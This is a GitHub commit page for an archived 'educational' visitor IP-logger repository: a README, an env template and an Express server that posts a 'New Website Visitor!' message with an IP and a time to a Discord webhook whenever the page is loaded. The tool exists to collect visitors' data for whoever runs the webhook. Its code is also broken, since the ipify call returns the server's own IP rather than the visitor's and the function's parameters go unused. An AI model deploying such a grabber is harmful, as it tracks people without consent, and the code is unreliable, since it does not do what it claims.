This repository has been archived by the owner on Aug 7, 2022. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
0 parents
commit 950905b
Showing
7 changed files
with
4,155 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,3 @@ | ||
.env | ||
node_modules | ||
build |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,31 @@ | ||
# Logger :: Educational purposes only | ||
Simple way to log visitors IP address into your Discord Sever (Webhooks) | ||
|
||
--- | ||
|
||
> ## ⚠️ Warning | ||
Do not abuse this on other people, feel free to test it out for personal testing. This is just an example to show how easy it is to grab informations of an user. | ||
|
||
--- | ||
|
||
> ### 🙇🏽♂️ Setup | ||
``` | ||
$ git clone https://github.com/vKxni/logger | ||
$ cd logger | ||
$ npm i | ||
``` | ||
- [How to create a Discord Webhook](https://support.discord.com/hc/en-us/articles/228383668-Intro-to-Webhooks) | ||
- Rename `example.env` to `.env` and fill out your webhook token. | ||
|
||
--- | ||
|
||
## Up && Running | ||
``` | ||
$ npm run dev | ||
``` | ||
This will build and start the server automatically. | ||
|
||
After that, navigate to [localhost:8000](http://localhost:8000/). | ||
|
||
|
||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,2 @@ | ||
WEBHOOK_TOKEN= | ||
PORT=8000 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,32 @@ | ||
import express, { Express, Request, Response } from 'express'; | ||
const app: Express = express(); | ||
import fetch from "cross-fetch"; | ||
import { MessageEmbed, WebhookClient } from "discord.js"; | ||
|
||
import "dotenv/config"; | ||
|
||
const webhook = new WebhookClient({ | ||
url: process.env.WEBHOOK_TOKEN as string, | ||
}); | ||
|
||
const port = 8000; | ||
|
||
app.listen(port, () => console.log("Website online at " + port)); | ||
|
||
app.get('/', (req: Request, res: Response) => { | ||
res.send("Hi"); | ||
|
||
async function sendwebhook(ip: string, time: string) { | ||
const data = await fetch("https://api.ipify.org/?format=txt").then( | ||
(results) => results.text() | ||
); | ||
|
||
let embed = new MessageEmbed() | ||
.setTitle("New Website Visitor!") | ||
.setDescription(`**IP:** \n ${data} \n\n **Time:** \n ${Date()}`); | ||
webhook.send({ | ||
embeds: [embed], | ||
}); | ||
} | ||
sendwebhook("", ""); | ||
}); |
Oops, something went wrong.